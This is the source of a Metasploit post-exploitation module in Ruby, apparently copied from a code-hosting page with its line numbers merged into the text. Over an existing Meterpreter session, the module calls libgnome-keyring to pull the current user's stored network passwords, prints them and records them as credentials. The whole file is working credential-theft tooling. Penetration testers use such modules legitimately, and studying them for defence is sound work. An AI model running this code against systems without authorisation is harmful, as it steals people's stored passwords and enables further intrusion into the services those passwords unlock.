Path: blob/master/modules/post/linux/gather/gnome_keyring_dump.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'bindata'67class MetasploitModule < Msf::Post89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Gnome-Keyring Dump',14'Description' => %q{15Use libgnome-keyring to extract network passwords for the current user.16This module does not require root privileges to run.17},18'Author' => 'Spencer McIntyre',19'License' => MSF_LICENSE,20'Platform' => [ 'linux' ],21'SessionTypes' => [ 'meterpreter' ],22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [],25'Reliability' => []26},27'Compat' => {28'Meterpreter' => {29'Commands' => %w[30core_native_arch31stdapi_net_resolve_host32stdapi_railgun_api33stdapi_railgun_memread34]35}36}37)38)39end4041class GListX64 < BinData::Record42endian :little43uint64 :data_ptr44uint64 :next_ptr45uint64 :prev_ptr46end4748class GListX86 < BinData::Record49endian :little50uint32 :data_ptr51uint32 :next_ptr52uint32 :prev_ptr53end5455# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList56def struct_glist57session.native_arch == ARCH_X64 ? GListX64 : GListX8658end5960class GnomeKeyringNetworkPasswordDataX64 < BinData::Record61endian :little62uint64 :keyring63uint64 :item_id64uint64 :protocol65uint64 :server66uint64 :object67uint64 :authtype68uint64 :port69uint64 :user70uint64 :domain71uint64 :password72end7374class GnomeKeyringNetworkPasswordDataX86 < BinData::Record75endian :little76uint32 :keyring77uint32 :item_id78uint32 :protocol79uint32 :server80uint32 :object81uint32 :authtype82uint32 :port83uint32 :user84uint32 :domain85uint32 :password86end8788# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData89def struct_gnomekeyringnetworkpassworddata90session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordDataX64 : GnomeKeyringNetworkPasswordDataX8691end9293def init_railgun_defs94unless session.railgun.libraries.key?('libgnome_keyring')95session.railgun.add_library('libgnome_keyring', 'libgnome-keyring.so.0')96end97session.railgun.add_function(98'libgnome_keyring',99'gnome_keyring_is_available',100'BOOL',101[],102nil,103'cdecl'104)105session.railgun.add_function(106'libgnome_keyring',107'gnome_keyring_find_network_password_sync',108'DWORD',109[110['PCHAR', 'user', 'in'],111['PCHAR', 'domain', 'in'],112['PCHAR', 'server', 'in'],113['PCHAR', 'object', 'in'],114['PCHAR', 'protocol', 'in'],115['PCHAR', 'authtype', 'in'],116['DWORD', 'port', 'in'],117['PBLOB', 'results', 'out']118],119nil,120'cdecl'121)122session.railgun.add_function(123'libgnome_keyring',124'gnome_keyring_network_password_list_free',125'VOID',126[['LPVOID', 'list', 'in']],127nil,128'cdecl'129)130end131132def get_string(address, chunk_size = 64, max_size = 256)133data = ''134loop do135data << session.railgun.memread(address + data.length, chunk_size)136break if data.include?("\x00") || (data.length >= max_size)137end138139if data.include?("\x00")140idx = data.index("\x00")141data = data[0...idx]142end143144data[0...max_size]145end146147def get_struct(address, record)148record = record.new149record.read(session.railgun.memread(address, record.num_bytes))150Hash[record.field_names.map { |field| [field, record[field]] }]151end152153def get_list_entry(address)154glist_struct = get_struct(address, struct_glist)155glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)156glist_struct157end158159def report_cred(opts)160service_data = {161address: opts[:ip],162port: opts[:port],163service_name: opts[:service_name],164protocol: opts[:protocol],165workspace_id: myworkspace_id166}167168credential_data = {169post_reference_name: refname,170session_id: session_db_id,171origin_type: :session,172private_data: opts[:password],173private_type: :password,174username: opts[:username]175}.merge(service_data)176177login_data = {178core: create_credential(credential_data),179status: Metasploit::Model::Login::Status::UNTRIED180}.merge(service_data)181182create_credential_login(login_data)183end184185def resolve_host(name)186address = @hostname_cache[name]187return address unless address.nil?188189vprint_status("Resolving hostname: #{name}")190begin191address = session.net.resolve.resolve_host(name)[:ip]192rescue Rex::Post::Meterpreter::RequestError193address = nil194end195@hostname_cache[name] = address196end197198def resolve_port(service)199port = {200'ftp' => 21,201'http' => 80,202'https' => 443,203'sftp' => 22,204'ssh' => 22,205'smb' => 445206}[service]207port.nil? ? 0 : port208end209210def run211init_railgun_defs212@hostname_cache = {}213libgnome_keyring = session.railgun.libgnome_keyring214215unless libgnome_keyring.gnome_keyring_is_available['return']216fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')217end218219result = libgnome_keyring.gnome_keyring_find_network_password_sync(220nil, # user221nil, # domain222nil, # server223nil, # object224nil, # protocol225nil, # authtype2260, # port227session.native_arch == ARCH_X64 ? 8 : 4228)229230list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]231fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0232233entry = { next_ptr: list_anchor }234loop do235entry = get_list_entry(entry[:next_ptr])236pw_data = entry[:data]237# resolve necessary string fields to non-empty strings or nil238%i[server user domain password protocol].each do |field|239value = pw_data[field]240pw_data[field] = nil241next if value == 0242243value = get_string(value)244next if value.empty?245246pw_data[field] = value247end248249# skip the entry if we don't at least have a username and password250next if pw_data[:user].nil? || pw_data[:password].nil?251252printable = ''253printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?254printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?255printable << "#{pw_data[:user]}:#{pw_data[:password]}"256unless pw_data[:server].nil?257printable << "@#{pw_data[:server]}"258printable << ":#{pw_data[:port]}"259end260print_good(printable)261262pw_data[:port] = resolve_port(pw_data[:protocol]) if (pw_data[:port] == 0) && !pw_data[:protocol].nil?263next if pw_data[:port] == 0 # can't report without a valid port264265ip_address = resolve_host(pw_data[:server])266next if ip_address.nil? # can't report without an ip address267268report_cred(269ip: ip_address,270port: pw_data[:port],271protocol: 'tcp',272service_name: pw_data[:protocol],273username: pw_data[:user],274password: pw_data[:password]275)276break unless (entry[:next_ptr] != list_anchor) && (entry[:next_ptr] != 0)277end278279libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)280end281end282283284